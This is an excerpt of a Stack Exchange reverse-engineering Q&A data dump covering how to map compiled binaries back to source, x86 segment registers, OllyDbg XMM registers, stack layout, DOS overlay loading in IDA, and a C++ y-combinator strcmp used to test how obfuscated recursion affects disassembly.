  <row Id="4356" PostTypeId="2" ParentId="4353" CreationDate="2014-05-17T10:30:08.250" Score="0" Body="&lt;p&gt;Basically it isn't possible for the most part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you compile the code to machine codes, compilers add lots of stuff and optimizations to your code. So, recognizing the code with additions would be hard (especially when code is big).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are you doing this? Tthere are different strategies to use and I can help more if I know.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some people do this to make sure compiled binary of open source apps are not backdoored(big example is &lt;a href=&quot;https://madiba.encs.concordia.ca/~x_decarn/truecrypt-binaries-analysis/&quot; rel=&quot;nofollow&quot;&gt;truecrypt&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Others want to learn about compilers and how they work. they should compile in debug mode and attach some debugger that support source code debugging (for example WinDbg in Windows environment).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4649" LastEditorUserId="4665" LastEditDate="2014-05-19T04:50:36.717" LastActivityDate="2014-05-19T04:50:36.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4357" PostTypeId="2" ParentId="4353" CreationDate="2014-05-17T10:42:23.610" Score="2" Body="&lt;p&gt;Not really. But Visual Studio for example has a debugger, that can directly point to the source (from where the problem occurs) if you start the debugger in the same instance where you loaded your solution. Also Visual Studio supports to output PDB files (and a MAP file, if needed) which would give you all function names, variables names, parameters, etc. This is helpful too when debugging in IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should find out if your compiler can also output a kind of 'debug' file which you can import in IDA Pro. If not, then it's not possible in this case.&lt;/p&gt;&#xA;" OwnerUserId="4633" LastActivityDate="2014-05-17T10:42:23.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4358" PostTypeId="2" ParentId="4353" CreationDate="2014-05-17T15:44:24.980" Score="2" Body="&lt;p&gt;I've done this while looking for IP theft before and while it's very unlikely that you will be able to recover a perfect 1 to 1 match there's still certain structures and flows that creep into functions that have been copied from elsewhere. It's very hard to read a piece of code and then copy it and not have the original ideas influence your design. You have a similar situation only that you're looking for matching functions in order to ease your reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I would do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find the binaries I suspect contains the code I'm interested in identifying.&lt;/li&gt;&#xA;&lt;li&gt;If I have reference source that I'm interested in looking for in the binaries:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find out what compiler was used in order to build the suspect binaries.&lt;/li&gt;&#xA;&lt;li&gt;Use the same compiler to compile the reference source. Now we have reference binaries and suspect binaries.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Once I have two binaries, reference and suspect I would run them through something that analyzes flow graphs and call graphis, such as &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinDiff&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You then get a set of candidates that you have to go in and analyze more thoroughly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've successfully used this strategy to successfully identify and analyze similarities between software written in a native language and software written in a managed language. It's quite a powerful technique. If you're on a constrained budget and both reference and suspect binaries are targeting the same platform using the same compiler, you can build a &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt; database from your reference binaries. This will likely miss a large number of good candidates though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not analyzing any binaries produced by someone else, just build your target with debug information and you'll get all the information you need, see &lt;a href=&quot;http://wiki.dwarfstd.org/index.php?title=Dwarf_FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;DWARF&lt;/a&gt; if you're using GCC or PDB if you're using MSVC. Alternatively just tell the compiler to produce assembly output: &lt;a href=&quot;https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc&quot;&gt;GCC&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/questions/1020498/how-to-view-the-assembly-behind-the-code-using-visual-c&quot;&gt;MSVC&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-05-17T15:44:24.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4359" PostTypeId="2" ParentId="4353" CreationDate="2014-05-17T15:47:03.637" Score="2" Body="&lt;p&gt;if this is for learning puprose and you want to understand how is assembly generated for   your source lines create an assembly listing every major compiler should have the option   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example with visual studio you can issue /FAcs  switch to generate an assembly listing file with an extension .cod&lt;br&gt;&#xA;the listing file will show how each line in your source has been transformed into assembly  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comparesrc:\&amp;gt;dir /b&#xA;comparesrc.cpp&#xA;&#xA;comparesrc:\&amp;gt;type comparesrc.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;  // standard include file&#xA;int main (void)&#xA;{ // this line will become prolog&#xA;    printf(&quot;hello my dear source compare\n&quot;);  // see str in .data section&#xA;    puts(&quot;c&quot;);  // will put a char* with line break to console&#xA;    puts(&quot;om&quot;);&#xA;    puts(&quot;pare&quot;);&#xA;    int a,b,c,d;&#xA;    a = 2; b =3 ; c = 4;&#xA;    d = a+b-c;    // 2+3 -4 = 1&#xA;    printf(&quot;%d\n&quot;,d);  // should print 1&#xA;    d = (a*b)/c;  // 2*3 /4 = 6 /4  numerator = 1&#xA;    printf(&quot;%d\n&quot;,d);  // should printf 1&#xA;    d = (a*b)%c;   // 2 * 3 % 4 denominator = 2&#xA;    printf(&quot;%d\n&quot;,d);  // should print 2&#xA;    return 0;   // lets generate a cod file and see the assembly&#xA;}   // this line will get converted to epilog&#xA;&#xA;&#xA;&#xA;comparesrc:\&amp;gt;cl /FAcs /nologo /Zi  comparesrc.cpp /link /RELEASE&#xA;comparesrc.cpp&#xA;&#xA;comparesrc:\&amp;gt;type comparesrc.cod&#xA;; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01&#xA;&#xA;&#xA;        TITLE   XXXX\comparesrc.cpp&#xA;        .686P&#xA;        .XMM&#xA;        include listing.inc&#xA;        .model  flat&#xA;&#xA;INCLUDELIB LIBCMT&#xA;INCLUDELIB OLDNAMES&#xA;&#xA;CONST   SEGMENT&#xA;$SG3850 DB      'hello my dear source compare', 0aH, 00H&#xA;        ORG $+2&#xA;$SG3851 DB      'c', 00H&#xA;        ORG $+2&#xA;$SG3852 DB      'om', 00H&#xA;        ORG $+1&#xA;$SG3853 DB      'pare', 00H&#xA;        ORG $+3&#xA;$SG3858 DB      '%d', 0aH, 00H&#xA;$SG3859 DB      '%d', 0aH, 00H&#xA;$SG3860 DB      '%d', 0aH, 00H&#xA;CONST   ENDS&#xA;PUBLIC  _main&#xA;EXTRN   _puts:PROC&#xA;EXTRN   _printf:PROC&#xA;; Function compile flags: /Odtp&#xA;; File xxx\comparesrc.cpp&#xA;&#xA;_TEXT   SEGMENT&#xA;_c$ = -16                                               ; size = 4&#xA;_d$ = -12                                               ; size = 4&#xA;_b$ = -8                                                ; size = 4&#xA;_a$ = -4                                                ; size = 4&#xA;_main   PROC&#xA;&#xA;; 3    : { // this line will become prolog&#xA;&#xA;  00000 55               push    ebp&#xA;  00001 8b ec            mov     ebp, esp&#xA;  00003 83 ec 10         sub     esp, 16                        ; 00000010H&#xA;&#xA;; 4    :     printf(&quot;hello my dear source compare\n&quot;);  // see str in .data sect&#xA;ion&#xA;&#xA;  00006 68 00 00 00 00   push    OFFSET $SG3850&#xA;  0000b e8 00 00 00 00   call    _printf&#xA;  00010 83 c4 04         add     esp, 4&#xA;&#xA;; 5    :     puts(&quot;c&quot;);  // will put a char* with line break to console&#xA;&#xA;  00013 68 00 00 00 00   push    OFFSET $SG3851&#xA;  00018 e8 00 00 00 00   call    _puts&#xA;  0001d 83 c4 04         add     esp, 4&#xA;&#xA;; 6    :     puts(&quot;om&quot;);&#xA;&#xA;  00020 68 00 00 00 00   push    OFFSET $SG3852&#xA;  00025 e8 00 00 00 00   call    _puts&#xA;  0002a 83 c4 04         add     esp, 4&#xA;&#xA;; 7    :     puts(&quot;pare&quot;);&#xA;&#xA;  0002d 68 00 00 00 00   push    OFFSET $SG3853&#xA;  00032 e8 00 00 00 00   call    _puts&#xA;  00037 83 c4 04         add     esp, 4&#xA;&#xA;; 8    :     int a,b,c,d;&#xA;; 9    :     a = 2; b =3 ; c = 4;&#xA;&#xA;  0003a c7 45 fc 02 00&#xA;        00 00            mov     DWORD PTR _a$[ebp], 2&#xA;  00041 c7 45 f8 03 00&#xA;        00 00            mov     DWORD PTR _b$[ebp], 3&#xA;  00048 c7 45 f0 04 00&#xA;        00 00            mov     DWORD PTR _c$[ebp], 4&#xA;&#xA;; 10   :     d = a+b-c;    // 2+3 -4 = 1&#xA;&#xA;  0004f 8b 45 fc         mov     eax, DWORD PTR _a$[ebp]&#xA;  00052 03 45 f8         add     eax, DWORD PTR _b$[ebp]&#xA;  00055 2b 45 f0         sub     eax, DWORD PTR _c$[ebp]&#xA;  00058 89 45 f4         mov     DWORD PTR _d$[ebp], eax&#xA;&#xA;; 11   :     printf(&quot;%d\n&quot;,d);  // should print 1&#xA;&#xA;  0005b 8b 4d f4         mov     ecx, DWORD PTR _d$[ebp]&#xA;  0005e 51               push    ecx&#xA;  0005f 68 00 00 00 00   push    OFFSET $SG3858&#xA;  00064 e8 00 00 00 00   call    _printf&#xA;  00069 83 c4 08         add     esp, 8&#xA;&#xA;; 12   :     d = (a*b)/c;  // 2*3 /4 = 6 /4  numerator = 1&#xA;&#xA;  0006c 8b 45 fc         mov     eax, DWORD PTR _a$[ebp]&#xA;  0006f 0f af 45 f8      imul    eax, DWORD PTR _b$[ebp]&#xA;  00073 99               cdq&#xA;  00074 f7 7d f0         idiv    DWORD PTR _c$[ebp]&#xA;  00077 89 45 f4         mov     DWORD PTR _d$[ebp], eax&#xA;&#xA;; 13   :     printf(&quot;%d\n&quot;,d);  // should printf 1&#xA;&#xA;  0007a 8b 55 f4         mov     edx, DWORD PTR _d$[ebp]&#xA;  0007d 52               push    edx&#xA;  0007e 68 00 00 00 00   push    OFFSET $SG3859&#xA;  00083 e8 00 00 00 00   call    _printf&#xA;  00088 83 c4 08         add     esp, 8&#xA;&#xA;; 14   :     d = (a*b)%c;   // 2 * 3 % 4 denominator = 2&#xA;&#xA;  0008b 8b 45 fc         mov     eax, DWORD PTR _a$[ebp]&#xA;  0008e 0f af 45 f8      imul    eax, DWORD PTR _b$[ebp]&#xA;  00092 99               cdq&#xA;  00093 f7 7d f0         idiv    DWORD PTR _c$[ebp]&#xA;  00096 89 55 f4         mov     DWORD PTR _d$[ebp], edx&#xA;&#xA;; 15   :     printf(&quot;%d\n&quot;,d);  // should print 2&#xA;&#xA;  00099 8b 45 f4         mov     eax, DWORD PTR _d$[ebp]&#xA;  0009c 50               push    eax&#xA;  0009d 68 00 00 00 00   push    OFFSET $SG3860&#xA;  000a2 e8 00 00 00 00   call    _printf&#xA;  000a7 83 c4 08         add     esp, 8&#xA;&#xA;; 16   :     return 0;   // lets generate a cod file and see the assembly&#xA;&#xA;  000aa 33 c0            xor     eax, eax&#xA;&#xA;; 17   : }   // this line will get converted to epilog&#xA;&#xA;  000ac 8b e5            mov     esp, ebp&#xA;  000ae 5d               pop     ebp&#xA;  000af c3               ret     0&#xA;_main   ENDP&#xA;_TEXT   ENDS&#xA;END&#xA;&#xA;comparesrc:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-17T15:47:03.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4360" PostTypeId="2" ParentId="4353" CreationDate="2014-05-17T17:26:50.800" Score="3" Body="&lt;p&gt;You can compile your file with &lt;a href=&quot;http://dwarfstd.org/&quot; rel=&quot;nofollow&quot;&gt;DWARF&lt;/a&gt; information in it, since IDA supports it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.hex-rays.com/products/ida/6.4/shots/dwarf_x86.png&quot; alt=&quot;DWARF in IDA&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-17T17:26:50.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4361" PostTypeId="1" CreationDate="2014-05-18T02:21:56.997" Score="7" ViewCount="14599" Body="&lt;p&gt;I tried to analyze a program in assembly using ollydbg. In the first line I have the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR FS:[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the register window, I've got the information:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;EAX 7570EE0A kernel32.BaseThreadInitThunk&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and in another window about FS the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FS:[00000000]=[7FFDF000]=0012FFC4&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, my questions would be:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference between &lt;code&gt;DWORD PTR FS&lt;/code&gt; and &lt;code&gt;DWORD PTR DS&lt;/code&gt;? Normally, I always see &lt;code&gt;DWORD PTR DS&lt;/code&gt; and not &lt;code&gt;DWORD PTR FS&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is &lt;code&gt;kernel32.BaseThreadInitThunk&lt;/code&gt;? It is a function?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I hope that someone can help me.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="42335" LastEditDate="2023-06-02T19:15:42.373" LastActivityDate="2023-06-02T19:15:42.373" Title="What is the meaning of kernel32.BaseThreadInitThunk?" Tags="|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4362" PostTypeId="1" AcceptedAnswerId="4370" CreationDate="2014-05-18T02:57:17.370" Score="2" ViewCount="2315" Body="&lt;p&gt;How can I view the &lt;code&gt;XMM0&lt;/code&gt;-&lt;code&gt;XMM7&lt;/code&gt; registers within OllyDbg? I can right click on the registers window and go to &lt;code&gt;view MMX&lt;/code&gt; registers, but I'm not exactly sure that these are the same. I see an instruction: &lt;code&gt;MOVSS DWORD PTR DS:[ESI+8],XMM0&lt;/code&gt; and as step through that instruction, the value shown in &lt;code&gt;MM0&lt;/code&gt; on the register window does not become the value stored at &lt;code&gt;[ESI+8]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I suppose another question is: &lt;em&gt;Are the &lt;code&gt;XMM0&lt;/code&gt; and &lt;code&gt;MM0&lt;/code&gt; registers different?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="53" LastEditDate="2014-05-18T07:20:21.820" LastActivityDate="2014-05-18T18:17:40.390" Title="OllyDbg and XMM0 vs MM0 registers" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4363" PostTypeId="1" AcceptedAnswerId="4369" CreationDate="2014-05-18T03:42:50.823" Score="1" ViewCount="2287" Body="&lt;p&gt;Here is a sample function reverse engineered from an easy program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main            proc near&#xA;var_70          = dword ptr -70h&#xA;var_6C          = dword ptr -6Ch&#xA;var_68          = dword ptr -68h&#xA;i_2             = dword ptr -54h&#xA;i               = dword ptr -4&#xA;push    ebp&#xA;mov     ebp, esp&#xA;and     esp, 0FFFFFFF0h&#xA;sub     esp, 70h&#xA;mov     [esp+70h+i], 0&#xA;jmp     short loc_804840A&#xA;￼￼￼loc_80483F7:&#xA;mov     eax, [esp+70h+i]&#xA;mov     edx, [esp+70h+i]&#xA;add     edx, edx&#xA;mov     [esp+eax*4+70h+i_2], edx&#xA;add     [esp+70h+i], 1&#xA;loc_804840A:&#xA;cmp     [esp+70h+i], 13h&#xA;jle     short loc_80483F7&#xA;mov     [esp+70h+i], 0&#xA;jmp     short loc_8048441&#xA;loc_804841B:&#xA;mov    eax, [esp+70h+i]&#xA;mov    edx, [esp+eax*4+70h+i_2]&#xA;mov    eax, offset aADD ; &quot;a[%d]=%d\n&quot;&#xA;mov    [esp+70h+var_68], edx&#xA;mov    edx, [esp+70h+i]&#xA;mov    [esp+70h+var_6C], edx&#xA;mov    [esp+70h+var_70], eax&#xA;call   _printf&#xA;add    [esp+70h+i], 1&#xA;loc_8048441:&#xA;cmp    [esp+70h+i], 13h&#xA;jle     short loc_804841B&#xA;mov    eax, 0&#xA;leave &#xA;retn&#xA;main   endp&#xA;&#xA;C code&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;    int a[20];&#xA;    int i;&#xA;    for (i=0; i&amp;lt;20; i++)&#xA;        a[i]=i*2;&#xA;    for (i=0; i&amp;lt;20; i++)&#xA;        printf (&quot;a[%d]=%d\n&quot;, i, a[i]);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is memory not allocated consecutively and why are some parts of the memory in between &lt;code&gt;esp + 70h -54h&lt;/code&gt; and &lt;code&gt;esp + 70h -68h&lt;/code&gt; not used?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;sub esp, 70h&lt;/code&gt;, the number &lt;code&gt;70h&lt;/code&gt; seems to be a random number in a different program, and it is often larger than we need. Why don't the compiler just allocate what we need?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="1654" LastEditDate="2014-05-20T20:06:54.900" LastActivityDate="2014-05-20T20:06:54.900" Title="Memory allocation on the stack" Tags="|assembly|memory|stack-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4364" PostTypeId="2" ParentId="4361" CreationDate="2014-05-18T03:59:17.693" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the difference between &lt;code&gt;DWORD PTR FS&lt;/code&gt; and &lt;code&gt;DWORD PTR DS&lt;/code&gt; ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check this - &lt;a href=&quot;http://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture#Segment_Registers&quot; rel=&quot;noreferrer&quot;&gt;Segment_Registers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows &lt;code&gt;fs[0]&lt;/code&gt; points &lt;a href=&quot;http://en.wikipedia.org/wiki/Win32_Thread_Information_Block#Contents_of_the_TIB_.2832-bit_Windows.29&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;TEB&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is &lt;code&gt;kernel32.BaseThreadInitThunk&lt;/code&gt; ? It is a function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it is. It's quite simple and is used only to execute your thread's function.&lt;/p&gt;&#xA;" OwnerUserId="3209" LastEditorUserId="53" LastEditDate="2014-05-18T07:25:54.657" LastActivityDate="2014-05-18T07:25:54.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4365" PostTypeId="2" ParentId="4362" CreationDate="2014-05-18T04:50:32.237" Score="3" Body="&lt;p&gt;So it turns out the &lt;a href=&quot;http://en.wikipedia.org/wiki/Streaming_SIMD_Extensions&quot; rel=&quot;nofollow&quot;&gt;SSE Registers (XMM0-7)&lt;/a&gt; are not supported within OllyDbg v1.10, but are in v2.0 which I found, &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;and downloaded here&lt;/a&gt;, and works great so far. The newest version does not, however, support plugins.&lt;/p&gt;&#xA;" OwnerUserId="4640" LastActivityDate="2014-05-18T04:50:32.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4366" PostTypeId="1" CreationDate="2014-05-18T05:39:27.757" Score="3" ViewCount="1244" Body="&lt;p&gt;I am trying to reverse some DOS game in IDA pro (5.0 demo). I get stuck when it tries to load the overlay file. Is it possible to load the 2nd executable into the original namespace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has already setup the video, interrupt, and some jump tables for common routines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I tried this years ago, and just dumped the full 1meg of ram via DosBox. It broke the segments etc however.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg001:0672                 mov     ax, bx&#xA;seg001:0674                 sub     ax, offset string_of_space ;&#xA;seg001:0677                 mov     byte_108CA, al&#xA;seg001:067A                 mov     bx, offset param_block&#xA;seg001:067D                 mov     dx, cs:filename&#xA;seg001:0682                 mov     ax, 4B00h&#xA;seg001:0685                 mov     cs:saved_ss, ss&#xA;seg001:068A                 mov     cs:saved_sp, sp&#xA;seg001:068F                 int     21h             ; DOS - 2+ - LOAD OR EXECUTE     (EXEC)&#xA;seg001:068F                                         ; DS:DX -&amp;gt; ASCIZ filename&#xA;seg001:068F                                         ; ES:BX -&amp;gt; parameter block&#xA;seg001:068F                                         ; AL = subfunc: load &amp;amp; execute     program&#xA;seg001:0691                 cli&#xA;seg001:0692                 mov     ss, cs:saved_ss&#xA;seg001:0697                 assume ss:nothing&#xA;seg001:0697                 mov     sp, cs:saved_sp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4656" LastEditorUserId="1547" LastEditDate="2014-08-10T09:52:04.090" LastActivityDate="2014-08-15T23:29:51.317" Title="IDA PRO and Dos Load Exec" Tags="|ida|decompilation|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4368" PostTypeId="1" CreationDate="2014-05-18T09:57:32.147" Score="3" ViewCount="441" Body="&lt;p&gt;I have absolutely no experience in reversing real-world binary codes, so I wonder how the obfuscated codes prevent reversers. I doubt that the reverses always find some ways to understand what are hiden inside, even for heavy obfuscated codes, but I do not know how they think about them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That partly comes from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3498/detecting-recursive-functions-in-ida/&quot;&gt;this question&lt;/a&gt; in detecting recursive calls where both two answers give a static approach: looking recursively in the functions called by the original function whether it is re-called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In somehow theoretical manner, this approach can be bypassed if the programmer uses the continuation passing style, that is because there is no more explicit &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call myself&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the code. The following program I have implemented to test out this idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt; &#xA;auto obf_if(bool p, T a, T b) -&amp;gt; T&#xA;{&#xA;  T* pts[4] = { &amp;amp;a, &amp;amp;b, &amp;amp;a + 1, &amp;amp;b + 1 };&#xA;  return *pts[int{ p }];&#xA;}&#xA;&#xA;template&amp;lt;typename T&amp;gt;&#xA;auto obf_cmp(T a, T b) -&amp;gt; int&#xA;{&#xA;  return obf_if&amp;lt;int&amp;gt;(a == b, 0, obf_if&amp;lt;int&amp;gt;(a &amp;lt; b, -1, 1));&#xA;}&#xA;&#xA;using obf_strcmp_t = std::function &amp;lt; int(char*, char*) &amp;gt;;&#xA;&#xA;auto h_strcmp(obf_strcmp_t func, char* str1, char* str2) -&amp;gt; int&#xA;{&#xA;  return obf_if&amp;lt;int&amp;gt;((*str1 == *str2) &amp;amp;&amp;amp; (*str1 != 0), &#xA;                     func(str1 + 1, str2 + 1), obf_cmp&amp;lt;int&amp;gt;(*str1, *str2));&#xA;}&#xA;using h_strcmp_t = decltype(h_strcmp);&#xA;&#xA;obf_strcmp_t y_strcmp(h_strcmp_t func)&#xA;{&#xA;  return std::bind(func, std::bind(y_strcmp, func), &#xA;                   std::placeholders::_1, std::placeholders::_2);&#xA;}&#xA;&#xA;int main(int argc, char* argv[]) &#xA;{&#xA;  char str1[] = &quot;ab&quot;; &#xA;  char str2[] = &quot;ac&quot;;&#xA;  return y_strcmp(h_strcmp)(str1, str2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a trivial implementation of &lt;code&gt;strcmp&lt;/code&gt; using the &lt;em&gt;y combinator&lt;/em&gt;. But this piece of codes leads to the fact that there is no more direct call inside the implementation (even no conditional jump), except the first one &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;y_strcmp(h_strcmp)(str1, str2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an amateur, I have even loaded the binary code (compiled by VS2013) in IDA and see a big mess where calls are replaced by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; call edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However because I write it I know how to detect this (e.g. the implicit recursive calls are detected by tracing the arguments passed into the function, the value of edx can only be one of passed arguments), and I think so do the reversers. So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that you do not know this trick, does it prevent you in understanding the binary code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB&lt;/strong&gt; Because w-s has suggested that this question is only an opinion-based one, so it will be closed sooner or later, but I very appreciate if someone gives an idea.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-28T09:04:27.077" Title="Experiences from reverse engineers in detecting recursive calls" Tags="|ida|obfuscation|deobfuscation|functions|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="4369" PostTypeId="2" ParentId="4363" CreationDate="2014-05-18T13:57:37.583" Score="4" Body="&lt;p&gt;In your case because &lt;em&gt;int&lt;/em&gt; is 4 bytes and you want 20 element&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a[20] // --&amp;gt; 20 * 4 = 0x50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it is very normal for &lt;em&gt;i&lt;/em&gt; and &lt;em&gt;i_2&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing is that your compiler didn't push &lt;em&gt;printf&lt;/em&gt; arguments into stack. It pre-allocated the stack location in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_70 = dword ptr -70h&#xA;var_6C = dword ptr -6Ch&#xA;var_68 = dword ptr -68h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and called the function like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    edx, [esp+eax*4+70h+i_2]&#xA;mov    eax, offset aADD ; &quot;a[%d]=%d\n&quot;&#xA;mov    [esp+70h+var_68], edx&#xA;mov    edx, [esp+70h+i]&#xA;mov    [esp+70h+var_6C], edx&#xA;mov    [esp+70h+var_70], eax&#xA;call   _printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there is 2 reason for such a thing (not your case)...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Compiler align the buffer for performance reasons and ease of cache.&#xA;in addition unaligned buffers cause failure in some cases like Windows API calls and make debugging hard, so the compilers align every buffer to avoid this kind of failure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some safe compilation allocate random number after buffers to prevent successful exploitation of buffer overruns. for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and     esp, 0FFFFFFF0h&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;yeap! as @DCoder commented, you asked it &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4250/why-addresses-of-variable-on-stack-are-not-consecutive&quot;&gt;Here&lt;/a&gt; before.&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-19T16:03:20.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
